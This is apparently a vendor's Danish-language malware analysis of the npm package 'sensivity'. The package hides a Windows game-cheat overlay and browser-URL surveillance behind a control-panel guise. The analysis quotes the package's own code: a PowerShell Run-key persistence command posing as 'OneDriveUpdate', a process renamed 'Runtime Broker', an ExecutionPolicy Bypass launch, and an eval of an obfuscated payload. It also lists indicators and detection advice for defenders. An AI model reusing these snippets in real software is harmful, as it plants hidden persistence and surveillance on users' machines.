PairLoop: Skjult fjernbetjeningspanel i npm-pakken

PairLoop: Én npm-pakke, halvfjerds versioner og et skjult Windows-fjernbetjeningspanel

TL; DR

npm-pakken følsomhed beskriver sig selv som et "følsomhedskontrolpanel." På Windows fungerer det som et fjernbetjenings- og overvågningsværktøj.

Dens indgangspunkt, launcher.js, omdøber sin egen proces til Runtime Broker, skriver en autostart Run-key-værdi med navnet OneDriveUpdate der genstarter pakken via et skjult VBScript, starter PowerShell med -ExecutionPolicy Bypass, og evaluerer derefter en 171 KB obfuskeret servernyttelast sammen med et 6.87 MB native modul, sens.node.

Den betjener et kontrolpanel til telefonparring på TCP-port 3000 og læser den aktive browsers adresselinje-URL via Windows UIAutomation, mens den holder øje med én hardkodet YouTube-video.

To dele, der tidligere blev læst som sorte bokse, er nu løst. Den obfuskerede server, server.obf.js, bruger et obfuscator.io RC4 string-array-skema; ​​genimplementering af dens dekoder offline (ingen JavaScript udført) gendanner et enkelt eksternt slutpunkt — https://izopi.com/check.php — sammen med en integreret offentlig RSA-nøgle, der bruges til at verificere signerede licenssvar.

Det native modul, sens.node, er ikke pakket: dens importtabel og indlejrede strenge identificerer den som et DirectX 11 / Dear ImGui in-game overlay, der leverer aimbot-, ESP (wall-hack) og triggerbot-funktioner, drevet af fjernprocesinjektion og hukommelseslæsninger/skrivninger.

Strenge i den refererer til køretøjsenheder og kortplaceringer i overensstemmelse med GTA V / FiveM. Npm-pakken er leverings- og persistensindpakningen omkring det native modul.

Det definerende signal er operationelt, ikke teknisk: en enkelt anonym udgiver udgav cirka halvfjerds versioner af én pakke – 2.5.0 gennem 2.5.69 — over et par dage, hver med den samme affyringsrampe.

Der er ingen installationer hooksNyttelasten kører kun, når pakken startes.

Angrebet: Sådan fungerer det

sensivity sender ti filer. package.json er sparsom: intet repository-felt, ingen licens, et main- og to bin-aliasser (sensivity, sens), der alle peger på launcher.js, og et startscript for noden launcher.js. Der er ingen postinstallation eller preinstallation. Intet udløses ved npm-installation. Den nedenfor beskrevne adfærd kører, når en bruger starter pakken — via bin-shim'en, startscriptet eller et krav.

Tarballen indeholder launcheren, en obfuskeret server, det native modul, et Visual Basic-script og en public/web-mappe til kontrolpanelet. launcher.js er den læsbare orkestrator; den logik, der betyder noget under kørsel, findes i de to blobs, den indlæser - en obfuskeret server og et kompileret native modul, begge forklaret nedenfor.

 Procesmaskering og en falsk OneDrive-opdatering

Tidligt i udførelsen angiver launcher.js sit eget procesnavn to gange:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker er en legitim Windows-proces (RuntimeBroker.exe), der formidler apptilladelser. Omdøbning af en Node-proces, så den matcher den, betyder, at et hurtigt blik på Jobliste ikke viser noget usædvanligt.

Persistence skrives via PowerShell i stedet for et direkte registrerings-API:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Autostartværdien hedder OneDriveUpdate, og den peger ikke direkte på pakken. Den peger på wscript.exe, der kører den medfølgende OneDrive.Standalone.Updater.vbs. Dette script genstarter node launcher.js i et skjult vindue. Både Run-tastens navn og VBScript-filnavnet låner Microsoft-branding, så autostart-posten læses som en rutinemæssig OneDrive-opgave.

PowerShell med omgåelse af udførelsespolitik

Startprogrammet sender gentagne gange shells til PowerShell. Den sink, som scannere markerer som kritisk, er starten af ​​en genereret .ps1 med udførelsespolitikken deaktiveret:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass fjerner den lokale scriptsigneringskontrol for den pågældende kald. De genererede scripts håndterer browserovervågningen og vinduesdetekteringsarbejdet, der er beskrevet i næste afsnit.

Den obfuskerede server og det native modul

Efter opsætningen indlæser og udfører launcher.js sin faktiske nyttelast:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js er 171 KB af _0x-array obfuscation — JavaScript-mønsteret, hvor hver streng og identifikator erstattes af et indeks i et blandet array, og derefter de-refereres ved kørsel. Skemaet er RC4-varianten produceret af obfuscator.io: en enkelt dekoderfunktion base64-dekoder en array-post og RC4-dekrypterer den derefter med en nøgle pr. kald. Genimplementering af denne dekoder i et separat script — hvor kun genimplementeringen køres over det udtrukne strengarray med 821 poster, aldrig pakkens eget JavaScript — afvikles det rent. Det, der dukker op, er beskedent, men decisive: én ekstern URL, https://izopi.com/check.php`, tildelt en LICENSE_URL-konstant; en indlejret RSA PUBLIC_KEY_PEM`; det lokale panel ruter /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off og /trigger/status; og strengene child_process, crypto og [Sensivity] sens.node indlæst — den sidste er den nøjagtige loglinje, som launcheren omskriver til programmodulet indlæst. Slutpunktet er en licenskontrol: klienten poster en identifikator (den obfuskerede server formaterer en Discord ID: %s-streng), og RSA-nøglen verificerer serverens signerede svar.

sens.node er et 6.87 MB kompileret native addon, og det er ikke pakket — sektionsentropien ligger på 5.6-6.6, og PE-import- og eksporttabellerne er intakte, så dets funktioner kan læses direkte. Det eksporterer napi_register_module_v1, standard Node N-API-indgangspunkt, så den evaluerede server indlæser det med et almindeligt krav. Dens importtabel er tell'en. Fra KERNEL32 henter den OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules og Process32First/NextW — det kanoniske sæt til at finde en anden proces, allokere hukommelse i den og læse eller skrive til den hukommelse. Fra USER32 henter den GetAsyncKeyState, GetKeyState, mouse_event og SetCursorPos; den forbinder d3d11.dll, D3DCOMPILER_43 og dwmapi for et overlay på skærmen og det fulde WINHTTP-sæt til netværkskald. Dens indlejrede strenge navngiver funktionssættet uden tvetydighed: Aktiver Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected og Dear ImGui-banneret Dear ImGui 1.91.3 WIP. Placerings- og entitetsstrenge såsom Grapeseed Medical Clinic og vehicle-ESP-vokabularet er i overensstemmelse med GTA V / FiveM.

Opdelingen er i realiteten bevidst: den læsbare launcher.js indeholder kun de dele, som en scanner let læser – persistens, masquerade, selve eval-kaldet – mens obfuskationen skjuler den ene eksterne vært, runtime-kontakterne, og den binære fil indeholder game-overlay og procesinjektionslogikken. Launcheren er den tynde, auditerbare skal; den obfuskerede server skjuler netværksidentiteten; det native modul er nyttelasten. Vi beskriver den binære fils import og strenge som læst; vi udleder ikke operatorens formål ud fra dem.

 Et telefonparringskontrolpanel på port 3000

Launcheren administrerer en lokal webserver på TCP-port 3000 og behandler den som en singleton. Den forespørger efter en eksisterende lytter og rydder den før binding:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Panelet kan nås på http://localhost:3000 med en hardcodet LAN-fallback-URL på http://192.168.1.16:3000. public/-mappen og panelets opførsel er i overensstemmelse med et QR-parringsflow: en telefon scanner en kode og binder til værten som en fjernbetjening. Intet eksternt kommando-og-kontrol-domæne vises i klartekst i launcheren - men som deobfuskeringen ovenfor viser, er et til stede på den obfuskerede server: izopi.com-licensslutpunktet. Selve panelet er lokalt og LAN-scoped; den eneste udgående vært er den licenskontrol.

En separat supervisor/worker-model holder processen i live. Launcheren genopretter sig selv med SENSIVITY_SUPERVISOR- og SENSIVITY_WORKER-miljøflag, hvor hvert barn kører skjult, så når man afslutter én proces, efterlader det en watchdog til at genstarte den.

Browserovervågning og YouTube Signal

Den mest specifikke adfærd er browserovervågning. launcher.js bygger PowerShell, der driver Windows UIAutomation til at læse adresselinjen i en kørende browser:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern returnerer tekstindholdet i et UI-element. Anvendt på en browsers adresselinjeredigeringskontrol returnerer den den URL, som offeret ser i øjeblikket – uden en browserudvidelse, uden at røre profilen på disken og uden en API-hook. Det genererede script itererer en $browserNames-liste og udtrækker URL'en eller vinduestitlen for den browser, der er i forgrunden.

Den URL testes mod et enkelt hardcodet mål:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Launcheren aflæser i et tre sekunder langt loop et browservindue, der viser YouTube, og den genererede PowerShell indeholder et Get-YouTubeBrowser / Test-TargetYouTubeUrl-par, der matcher det pågældende video-ID. Den observerbare effekt er dobbelt: den aktive browser-URL aflæses fra offerets skærm, og værtens interaktion med en specifik YouTube-video detekteres. Vi beskriver mekanismen og målet; vi udleder ikke et motiv ud fra dem.

Adresselinjens læsning er det, scanneren kalder sensitive_data_enumeration — en Process::env- og UIAutomation-kilde, der forsyner en netværkskompatibel runtime. Den ser ikke-skadelig ud isoleret set og overgår først til overvågning, når datalivscyklussen er sporet fra UIAutomation-kilden til den obfuskerede server.

Tidslinje og versionsudvikling

Sensivity uploades ikke én gang. Udgiverkontoen har omkring halvfjerds udgivne versioner af denne pakke, og nye blev ved med at komme i løbet af gennemgangsvinduet. Launcheren vokser funktion for funktion på tværs af 2.5.x-linjen, mens dens persistens og nyttelast forbliver uændret.

Dato (UTC) Observerede versioner Launcher-tilstand
2026-06-02 2.5.8 - 2.5.46 (25) Basis QR-panel launcher; Vedholdenhed af kørselsnøgler; evaluering af obfuskeret server.
2026-06-03 2.5.53 - 2.5.61 (6) Samme fingeraftryk; undertrykkelse af konsolspor.
2026-06-04 2.5.67, 2.5.68 (2) Tilføjer fastgjort YouTube-engagementsmål wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Genudgivelse af mangler på tværs af sortimentet; supervisor/medarbejdervagthund.

Læsning af launcheren på tværs af downloadede repræsentanter — 2.5.0, 2.5.36 og 2.5.69 — viser fire niveauer. De tidligste builds har den grundlæggende QR-parringslauncher. Fra 2.5.33 vises UIAutomation adresselinjehøsteren. Fra 2.5.58 tilføjes et supervisor-administrationslag. Fra 2.5.64 fuldender den frakoblede supervisor/worker watchdog sættet. Gennemgående ændres fire ting aldrig: OneDriveUpdate Run-nøglen, OneDrive.Standalone.Updater.vbs-dropperen, den evaluerede server.obf.js og det native sens.node-modul.

2026-06-05-bølgen er bemærkelsesværdig, fordi den genudgav de lave versionsnumre - 2.5.0 til 2.5.15 - der ligger under de versioner, der blev bekræftet dage tidligere. Effekten er en sammenhængende 2.5.x-linje i registreringsdatabasen, hvor hver version har den samme launcher.

Indikatorer for kompromis

Alle indikatorer nedenfor blev læst direkte fra pakken tarball. Den læsbare launcher indeholder kun loopback og en enkelt privat LAN-adresse; det ene eksterne værtsnavn, izopi.com, blev gendannet ved at deobfusca server.obf.js offline.

Type Indikator Noter
Pakke npm:sensivity (≈70 versioner, 2.5.0-2.5.69) Udgiver i én pakke; intet arkiv; ulicenseret.
File (Felt) launcher.js Læsbar orkestrator; hoved- og bin-mål.
File (Felt) server.obf.js (≈171 KB) obfuscator.io RC4 string-array nyttelast, indlæst via eval(fs.readFileSync(...)).
File (Felt) sens.node (≈6.87 MB) PE32+ x86-64 Node N-API-tilføjelse; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
File (Felt) OneDrive.Standalone.Updater.vbs Skjult genstarter (node launcher.js).
Netværk https://izopi.com/check.php Licens-/godkendelsesslutpunkt gendannet fra den obfuskerede server; integreret offentlig RSA-nøgle verificerer svar.
Capability OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Fjernindsprøjtning af processer og læse-/skrivefunktion til hukommelse.
Capability Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui-spiloverlay, der implementerer aimbot-, ESP- og triggerbot-funktioner.
register HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Autostartværdi peger på wscript.exe og VBScript-startprogrammet.
Proces process.title = 'Runtime Broker' Maskerer sig som den legitime Windows Runtime Broker-proces.
Behavioral powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Omgåelse af udførelsespolitik brugt til genererede PowerShell-scripts.
Behavioral UIAutomation ValuePattern læsning af browserens adresselinje Læser URL'en til browservinduet i forgrunden.
Behavioral Målvideo-ID wJWta2lO0Lw3-sekunders YouTube-afstemning Fastgjort signal til overvågning af engagement.
Netværk http://localhost:3000, reserve http://192.168.1.16:3000 QR-parringskontrolpanel eksponeret lokalt og på LAN.
Miljø SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Flag for koordinering af adskilte vagthundprocesser.

Attribuering, indflydelse og forsvarere

Pakken udgives af en enkelt npm-konto, hvis angivne e-mailadresse er en ubekræftet Gmail-adresse. Kontoen har en dybt negativ omdømmescore i registret, vedligeholder og udgiver kun denne ene pakke og har intet linket kildelager. Vi har ikke bekræftet ejerskabet af e-mailen, og vi tilskriver kampagnen til udgiverkontoen, ikke til nogen navngiven person. Launcheren har ingen klartekstinfrastruktur, men den ene eksterne vært er nu kendt: den obfuskerede server kontakter izopi.com for en licenskontrol, og det native modul - læst fra dens importtabel og strenge i stedet for omvendt instruktion-for-instruktion - er et spiloverlay, der injicerer i og læser hukommelsen fra en anden proces.

Den observerbare effekt rammer Windows-brugere, der installerer og kører Sensivity i forventning om et kontrolpanelværktøj. På disse værter etablerer pakken autostart-persistens forklædt som en OneDrive-opgave, omdøber sig selv for at efterligne en systemproces, læser URL'en til det, brugeren browser, og opretter et parringspanel, der binder maskinen til en fjernbetjening via det lokale netværk. Supervisor/worker-overvågningsfunktionen betyder, at en enkelt procesafbrydelse ikke fjerner den; Run-tasten overlever genstart. macOS og Linux er ikke målrettet af launcheren - persistens-, PowerShell- og UIAutomation-stierne er kun Windows-baserede.

Udskiftningen af ​​halvfjerds versioner er en tendens, der er værd at markere. Genudgivelse af én pakke snesevis af gange på et par dage, inklusive udfyldning af versionsnumre under dem, der allerede er fjernet, bevarer en live kopi i registreringsdatabasen mellem fjernelser og frustrerer versionsfastgjorte blokeringslister. En blokeringslistepost for sensitivity@2.5.61 gør intet imod, at sensitivity@2.5.3 genudgives den næste dag.

Forsvarere kan handle på følgende måde:

  • Bloker pakkenavnets følsomhed fuldstændigt i registry-proxy og CI-tilladelseslister. Fastgørelse af individuelle versioner går ud over genudgivelseskadencen; navnet er den varige indikator.
  • Søg efter en Run-værdi med navnet OneDriveUpdate, hvis data kalder wscript.exe mod en .vbs i en sti pr. bruger. Den ægte OneDrive-opdatering er ikke registreret på denne måde.
  • Advarsel om en Node.js-proces, hvis process.title er Runtime Broker. Den rigtige broker er RuntimeBroker.exe, ikke en Node-runtime.
  • Marker npm-hentninger ved installationstid af pakker, der sender et kompileret .node-tilføjelsesprogram plus en eval(fs.readFileSync(…)) af en sidestående .obf.js-fil. Denne parring - uigennemsigtig, native binær fil indlæst ved siden af ​​en obfuskeret tekstnyttelast - er den strukturelle indikator her, uafhængigt af enhver streng-IOC.
  • Behandl enhver lokalt bundet lytter på port 3000, der er oprettet af en uventet nodeproces, som mistænkelig på administrerede Windows-slutpunkter.
  • Bloker eller advarer om udgående anmodninger til izopi.com fra udviklere eller slutbrugere; det er pakkens eneste eksterne slutpunkt, der nås på /check.php fra den obfuskerede server.
  • For ethvert bundtet .node-tilføjelsesprogram skal du inspicere dets importtabel, før du stoler på det. Kombinationen OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread er fjernprocesinjektion, uanset hvad pakken hævder at gøre; her sidder den ved siden af ​​et Direct3D-overlay og aimbot/ESP/triggerbot-strenge.

Til statisk analyse pipelines, er overbevisningsformen holdbar på tværs af versionsskiftet: en ikke-netværksbaseret installationsprofil, en procestiteltildeling til et kendt systemprocesnavn, en Run-key-skrivning via PowerShell og en evaluering af en fil læst fra disk. Ingen af ​​disse afhænger af et domæne, en IP-adresse eller et versionsnummer, som den næste genudgivelse kan rotere væk.

 Referencer

[npm: følsomhed] – registreringsdatabaseside for den pakkeversionslinje, der diskuteres her; kan blive fjernet.

sca-tools-software-kompositionsanalyseværktøjer
Prioriter, afhjælp og sørg for dine softwarerisici
Få din gratis konto.
Der kræves ikke noget kreditkort.

Sikr din softwareudvikling og -levering

med Xygeni-produktsuite